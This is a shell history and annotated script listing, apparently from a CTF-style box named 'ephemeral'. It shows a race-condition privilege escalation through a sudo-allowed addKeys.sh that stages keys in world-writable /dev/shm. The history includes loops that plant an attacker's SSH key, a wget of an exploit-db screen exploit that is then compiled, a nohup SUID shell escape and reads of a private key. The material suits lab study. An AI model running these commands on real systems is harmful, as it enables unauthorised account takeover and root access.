 1553  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
546
 1554  ls
547
 1555  clear
548
 1556  ls -a
549
 1557  ls -la
550
 1558  cat authorized_keys
551
 1559  clear
552
 1560  ls -la
553
 1561  rm -r authorized_keys
554
 1562  rm -r id_rsa.pub
555
 1563  clear
556
 1564  ls -la
557
 1565  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/authorized_keys > /dev/null; done
558
 1566  ls -la
559
 1567  clear
560
 1568  ls -la
561
 1569  rm -r authorized_keys
562
 1570  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
563
 1571  clear
564
 1572  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
565
 1573  clear
566
 1574  ls -la
567
 1575  rm --
568
 1576  rm -r id_rsa.pub
569
 1577  ls -al
570
 1578  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
571
 1579  clear
572
 1580  ls -al
573
 1581  ls -la
574
 1582  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
575
 1583  clear
576
 1584  cd /dev/shm/
577
 1585  ls -al
578
 1586  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
579
 1587  clear
580
 1588  cd /dev/shm/
581
 1589  ls -al
582
 1590  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
583
 1591  clear
584
 1592  while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" | tee /dev/shm/id_rsa.pub > /dev/null; done
585
 1593  while true; do cat /dev/shm/id_rsa.pub
586
 1594  while true; do cat /dev/shm/id_rsa.pub; done
587
 1595  while true; do cat /dev/shm/id_rsa.pub > output.txt; done
588
 1596  ls
589
 1597  while true; do cat /dev/shm/id_rsa.pub > output.txt; done
590
 1598  ls -al
591
 1599  cat output.txt
592
 1600  while true; do cat /dev/shm/id_rsa.pub | tee output.txt; done
593
 1601  while true; do cat /dev/shm/id_rsa.pub > output.txt; done
594
 1602  ls
595
 1603  while true; do cat /dev/shm/id_rsa.pub > output.txt; done
596
 1604  ls -al
597
 1605  cat output.txt
598
 1606  while true; do cat /dev/shm/id_rsa.pub | tee output.txt; done
599
 1607  ls -la
600
 1608  while true; do cat /dev/shm/id_rsa.pub | tee /home/donald/output.txt; done
601
 1609  while true; do cat /dev/shm/id_rsa.pub | grep -i ssh; done
602
 1610  while true; do cat /dev/shm/id_rsa.pub | grep -v ssh; done
603
 1611  while true; do cat /dev/shm/id_rsa.pub | grep ssh; done
604
 1612  while true; do cat /dev/shm/id_rsa.pub | grep -i nossh; done
605
 1613  ls -la
606
 1614  rm -r output.txt
607
 1615  while true; do cat /dev/shm/id_rsa.pub | tee /dev/shm/id_rsa.pub > output.txt; done
608
 1616  while true; do cat /dev/shm/id_rsa.pub > output.txt; done
609
 1617  ls
610
 1618  while true; do cat /dev/shm/id_rsa.pub > output.txt; done
611
 1619  ls -al
612
 1620  cat output.txt
613
 1621  while true; do cat /dev/shm/id_rsa.pub | tee output.txt; done
614
 1622  ls -la
615
 1623  while true; do cat /dev/shm/id_rsa.pub | tee /home/donald/output.txt; done
616
 1624  while true; do cat /dev/shm/id_rsa.pub | grep -i ssh; done
617
 1625  while true; do cat /dev/shm/id_rsa.pub | grep -v ssh; done
618
 1626  while true; do cat /dev/shm/id_rsa.pub | grep ssh; done
619
 1627  while true; do cat /dev/shm/id_rsa.pub | grep -i nossh; done
620
 1628  ls -la
621
 1629  rm -r output.txt
622
 1630  while true; do cat /dev/shm/id_rsa.pub | tee /dev/shm/id_rsa.pub > output.txt; done
623
 1631  ls -la
624
 1632  while true; do tee /dev/shm/id_rsa.pub > output.txt; done
625
 1633  while true; do tee /dev/shm/id_rsa.pub > /tmp/output.txt; done
626
 1634  while true; do cat /dev/shm/id_rsa.pub; done
627
 1635  cd
628
 1636  exit
629
 1637  clear
630
 1638  cd /
631
 1639  cd /dev/shm/
632
 1640  ls -la
633
 1641  ls -al
634
 1642  ls f-la
635
 1643  ls -la
636
 1644  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" > /dev/shm/id_rsa.pub
637
 1645  clear
638
 1646  ls -]al
639
 1647  ls -la
640
 1648  ls -al
641
 1649  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" > /dev/shm/id_rsa.pub
642
 1650  clear
643
 1651  ls -la
644
 1652  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" > /dev/shm/id_rsa.pub
645
 1653  ls -la
646
 1654  clear
647
 1655  ls -al
648
 1656  rm -r id_rsa.pub
649
 1657  ls -al
650
 1658  clear
651
 1659  echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali" > /dev/shm/id_rsa.pub
652
 1660  clear
653
 1661  ls -la
654
 1662  clear
655
 1663  ls -la
656
 1664  rm -r id_rsa.pub
657
 1665  clear
658
 1666  ls -la
659
 1667  rm -r id_rsa.pub
660
 1668  cd
661
 1669  ls -la
662
 1670  cat output.txt
663
 1671  ls -la
664
 1672  su randy
665
 1673  exit
666
 1674  ssh donald@10.0.0.179
667
 1675  ssh donald@10.0.0.179 -t "bash --noprofile"
668
 1676  exit
669
 1677  while true; do tee /dev/shm/id_rsa.pub > /tmp/output.txt; done
670
 1678  while true; do cat /dev/shm/id_rsa.pub; done
671
 1679  while true; do cat /dev/shm/id_rsa.pub; grep -v cat; done
672
 1680  while true; do cat /dev/shm/id_rsa.pub; grep -i ssh; done
673
 1681  while true; do cat /dev/shm/id_rsa.pub; sleep 9.0 done
674
 1682  while true; do cat /dev/shm/id_rsa.pub; sleep 9.0; done
675
 1683  while true; do cat /dev/shm/id_rsa.pub; done
676
 1684  while true; do cat /dev/shm/id_rsa.pub; done > output.txt
677
 1685  ls -la
678
 1686  cat output.txt
679
 1687  clear
680
 1688  cat output.txt
681
 1689  while true; do cat /dev/shm/id_rsa.pub; done > output.txt
682
 1690  ls -la
683
 1691  cat output.txt
684
 1692  rm -r
685
 1693  rm -r output.txt
686
 1694  clear
687
 1695  cat output.txt
688
 1696  ls -la
689
 1697  while true; do cat /dev/shm/id_rsa.pub; done > output.txt
690
 1698  ls -la
691
 1699  cat output.txt
692
 1700  clear
693
 1701  ls -la
694
 1702  clear
695
 1703  ls -la
696
 1704  pwd
697
 1705  sudo -l
698
 1706  nano mypass.txt
699
 1707  clear
700
 1708  ls al
701
 1709  ls -la
702
 1710  cat mypass.txt
703
 1711  clear
704
 1712  ls -la
705
 1713  nano mypass.txt
706
 1714  clear
707
 1715  si kevin
708
 1716  su kevin
709
 1717  id
710
 1718  su kevin
711
 1719  exit
712
 1720  sudo -l
713
 1721  ssh donald@10.0.0.179 -t "bash --noprofile"
714
 1722  s -la
715
 1723  clear
716
 1724  ls -la
717
 1725  ssh donald@10.0.0.179 -t "bash --noprofile"
718
 1726  s -la
719
 1727  ssh donald@10.0.0.179 -t "bash --noprofile"
720
 1728  lear
721
 1729  ssh donald@10.0.0.179 -t "bash --noprofile"
722
 1730  s -al
723
 1731  ssh donald@10.0.0.179 -t "bash --noprofile"
724
 1732  exit
725
 1733  clear
726
 1734  ls -la
727
 1735  rm -r .ssh/
728
 1736  clear
729
 1737  ls -al
730
 1738  touch mypass.txt
731
 1739  clear
732
 1740  ls -la
733
 1741  clear
734
 1742  ls -la
735
 1743  cd Desktop/
736
 1744  ls -la
737
 1745  clear
738
 1746  ls -la
739
 1747  ./screen -v
740
 1748  wget https://www.exploit-db.com/raw/41154 -O exploit.c
741
 1749  ls -la
742
 1750  gcc exploit.c -o exploit
743
 1751  ls -la
744
 1752  clear
745
 1753  ls -la
746
 1754  rm -r exploit.c
747
 1755  clear
748
 1756  ls -la
749
 1757  nano exploit.c
750
 1758  ls -al
751
 1759  gcc exploit.c -o exploit
752
 1760  ls -la
753
 1761  rm -r exploit.c
754
 1762  clear
755
 1763  nano exploit.sh
756
 1764  chmod +x exploit.sh
757
 1765  ./exploit.sh
758
 1766  ls -la
759
 1767  ./exploit.sh
760
 1768  clear
761
 1769  ls -la
762
 1770  screen -v
763
 1771  ./exploit.sh
764
 1772  ls -la
765
 1773  which screen
766
 1774  ls -la
767
 1775  ./exploit.sh
768
 1776  cd
769
 1777  ls -la
770
 1778  cd Desktop/
771
 1779  ls -la
772
 1780  ./exploit.sh
773
 1781  cd /tmp/
774
 1782  ls -la
775
 1783  rm -r rootshell
776
 1784  clear
777
 1785  ls -la
778
 1786  cd
779
 1787  cd Desktop/
780
 1788  ls -la
781
 1789  ./exploit.sh
782
 1790  clear
783
 1791  cd
784
 1792  su jane
785
 1793  clear
786
 1794  ls -la
787
 1795  cd Desktop/
788
 1796  ls -la
789
 1797  ./nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
790
 1798  ls -la
791
 1799  cat nohup
792
 1800  clear
793
 1801  ls -la
794
 1802  rm -r nohup
795
 1803  ls -la
796
 1804  rm -r nohup.out
797
 1805  clear
798
 1806  cd /tmp/
799
 1807  ls -la
800
 1808  cd keys/
801
 1809  ls -la
802
 1810  cd..
803
 1811  cd ..
804
 1812  ls -la
805
 1813  cd keys/
806
 1814  ls -la
807
 1815  cd ..
808
 1816  ls -la
809
 1817  cd keys/
810
 1818  ls -la
811
 1819  cat id_rsa.pub
812
 1820  clear
813
 1821  sudo -l
814
 1822  cat /usr/local/bin/addKeys.sh
815
 1823  cd
816
 1824  ls -la
817
 1825  cd /tmp/
818
 1826  clear
819
 1827  ls -al
820
 1828  sudo -l
821
 1829  sudo -u jane /usr/local/bin/addKeys.sh
822
 1830  cd keys/
823
 1831  ls -la
824
 1832  sudo -u jane /usr/local/bin/addKeys.sh
825
 1833  ls
826
 1834  ls -la
827
 1835  sudo -l
828
 1836  sudo -u jane /usr/local/bin/addKeys.sh
829
 1837  clear
830
 1838  sudo -u jane /usr/local/bin/addKeys.sh
831
 1839  su jane
832
 1840  sudo -l
833
 1841  sudo -u jane /usr/local/bin/addKeys.sh
834
 1842  cd ..
835
 1843  ls -la
836
 1844  cd keys/
837
 1845  ls -la ~
838
 1846  sudo -u jane /usr/local/bin/addKeys.sh
839
 1847  ls -l /home/jane/
840
 1848  cd
841
 1849  cd /home/
842
 1850  cd jane/
843
 1851  ls -la
844
 1852  sudo -u jane /usr/local/bin/addKeys.sh
845
 1853  ls -al
846
 1854  cd .ssh/
847
 1855  ls -la
848
 1856  cat id_rsa
849
 1857  cat id_rsa.pub
850
 1858  clear
851
 1859  ls -la
852
 1860  cd ..
853
 1861  clear
854
 1862  sudo -l
855
 1863  sudo -u jane /usr/local/bin/addKeys.sh
856
 1864  clear
857
 1865  cat /usr/local/bin/addKeys.sh
858
 1866  cd /dev/s
859
 1867  cd /dev/shm/
860
 1868  ls -la
861
 1869  cd keys/
862
 1870  ls -la
863
 1871  clear
864
 1872  sudo -u jane /usr/local/bin/addKeys.sh
865
 1873  clear
866
 1874  sudo -l
867
 1875  sudo -u jane /usr/local/bin/addKeys.sh
868
 1876  clear
869
 1877  ls -al
870
 1878  sudo -u jane /usr/local/bin/addKeys.sh
871
 1879  clear
872
 1880  ls -la
873
 1881  sudo -u jane /usr/local/bin/addKeys.sh
874
 1882  cd ..
875
 1883  ls -al
876
 1884  ls -la
877
 1885  rm -r id_rsa.pub
878
 1886  ls -la
879
 1887  rm -r id_rsa.pub
880
 1888  ls -al
881
 1889  ls -la
882
 1890  cat id_rsa.pub
883
 1891  clear
884
 1892  ls -al
885
 1893  rm -r id_rsa.pub
886
 1894  ls -la
887
 1895  rm -r id_rsa.pub
888
 1896  ls -la
889
 1897  clear
890
 1898  ls -la
891
 1899  rm -r id_rsa.pub
892
 1900  clear
893
 1901  ls -al
894
 1902  sudo -l
895
 1903  sudo -u jane /usr/local/bin/addKeys.sh
896
 1904  clear
897
 1905  sudo -u jane /usr/local/bin/addKeys.sh
898
 1906  clear
899
 1907  sudo -u jane /usr/local/bin/addKeys.sh
900
 1908  ls -la
901
 1909  clear
902
 1910  ls -la
903
 1911  rm  -r id_rsa.pub
904
 1912  clear
905
 1913  ls -al
906
 1914  rm -r id_rsa.pub
907
 1915  ls -la
908
 1916  clear
909
 1917  sudo -u jane /usr/local/bin/addKeys.sh
910
 1918  clear
911
 1919  ls -al
912
 1920  clear
913
 1921  sudo -l
914
 1922  sudo -u jane /usr/local/bin/addKeys.sh
915
 1923  ls -la
916
 1924  rm -r id_rsa.pub
917
 1925  clear
918
 1926  ls
919
 1927  ls -al
920
 1928  rm -r id_rsa.pub
921
 1929  ls -la
922
 1930  sudo -u jane /usr/local/bin/addKeys.sh
923
 1931  clear
924
 1932  ls -la
925
 1933  cd
926
 1934  clear
927
 1935  ls -la
928
 1936  cat mypass.txt
929
 1937  clear
930
 1938  ls -al
931
 1939  cat mypass.txt
932
 1940  clear
933
 1941  sudo -l
934
 1942  clear
935
 1943  ls -al
936
 1944  rm -r mypass.txt
937
 1945  su root
938
 1946  clear
939
 1947  su randy
940
 1948  cd ..
941
 1949  su randy
942
 1950  clear
943
 1951  ls -la
944
 1952  cd jane/
945
 1953  ls -la
946
 1954  cd kevin/
947
 1955  cd randy/
948
 1956  clear
949
 1957  ssh jane@10.0.0.179
950
 1958  exit
951
 1959  ssh donald@10.0.0.179 -t "bash --noprofile"
952
 1960  exit
953
 1961  clear
954
 1962  ls -la
955
 1963  which pkexec
956
 1964  cd
957
 1965  exit
958
 1966  sudo -l
959
 1967  clear
960
 1968  ls -la
961
 1969  sudo -l
962
 1970  clear
963
 1971  ls -la
964
 1972  ssh donald@10.0.0.179
965
 1973  exit
966
 1974  clear
967
 1975  exit
968
 1976  clear
969
 1977  sudo -l
970
 1978  su jane
971
 1979  su kevin
972
 1980  exit
973
 1981  ssh donald@10.0.0.179
974
 1982  ssh donald@10.0.0.179 -t "bash --profile"
975
 1983  ssh donald@10.0.0.179 -t "bash --noprofile"
976
 1984  clear
977
 1985  exit
978
 1986  clear
979
 1987  ls -la
980
 1988  cd ..
981
 1989  ls -al
982
 1990  cd donald/
983
 1991  ls
984
 1992  cat mypass.txt
985
 1993  cat note.txt
986
 1994  clear
987
 1995  exit
988
 1996  clea
989
 1997  rcd
990
 1998  ssh 10.0.0.179
991
 1999  ssh 10.0.0.179 -t "bash --noprofile"
992
 2000  exit
993
 2001  whoami
994
 2002  cd ~
995
 2003  ls
996
 2004  cat mypass.txt
997
 2005  cat note.txt
998
 2006  cd commands/
999
 2007  ls
1000
 2008  id
1001
 2009  history

1
(remote) donald@ephemeral:/$ sudo -l
2
[sudo] password for donald:
3
Matching Defaults entries for donald on ephemeral:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6

7
User donald may run the following commands on
8
        ephemeral:
9
    (jane) PASSWD: /usr/local/bin/addKeys.sh
10

11

12
(remote) donald@ephemeral:/$ cat /usr/local/bin/addKeys.sh
13
#!/bin/bash
14

15
/usr/bin/rm -rf /dev/shm/id_rsa.pub
16
/usr/bin/rm -rf /dev/shm/id_rsa
17

18
/usr/bin/ssh-keygen -q -t rsa -N '' -f /dev/shm/id_rsa
19

20
/bin/echo "Keys Added!"
21

22
/usr/bin/rm -rf /home/jane/.ssh/
23

24
/bin/echo "Directory Deleted!"
25

26
/usr/bin/mkdir /home/jane/.ssh/
27

28
/bin/echo ".ssh Directory Created!"
29

30
/usr/bin/cp /dev/shm/id_rsa.pub /home/jane/.ssh/authorized_keys
31

32
/bin/echo "Keys Copied."
33

34
/usr/bin/chmod 600 /home/jane/.ssh/authorized_keys
35

36
/bin/echo "Permissions Changed!"
37

38
/usr/bin/rm -rf /dev/shm/id_rsa
39
/usr/bin/rm -rf /dev/shm/id_rsa.pub
40

41
/bin/echo "Keys Removed!"
42

43

44

45

46

47

48
(remote) donald@ephemeral:/$ ls -la /usr/local/bin/addKeys.sh
49
-rwxr-xr-x 1 root root 579 Mar 16  2022 /usr/local/bin/addKeys.sh
50
(remote) donald@ephemeral:/$

1
#!/bin/bash
2
# 使用 /bin/bash 解释器执行（不是 rbash）
3

4
/usr/bin/rm -rf /dev/shm/id_rsa.pub
5
# 删除 /dev/shm 中旧的公钥文件
6
# ⚠️ /dev/shm 是 world-writable，任何用户都能提前放文件
7

8
/usr/bin/rm -rf /dev/shm/id_rsa
9
# 删除 /dev/shm 中旧的私钥文件
10
# ⚠️ 这里只是假设“文件一定是脚本自己生成的”，但实际上不可信
11

12
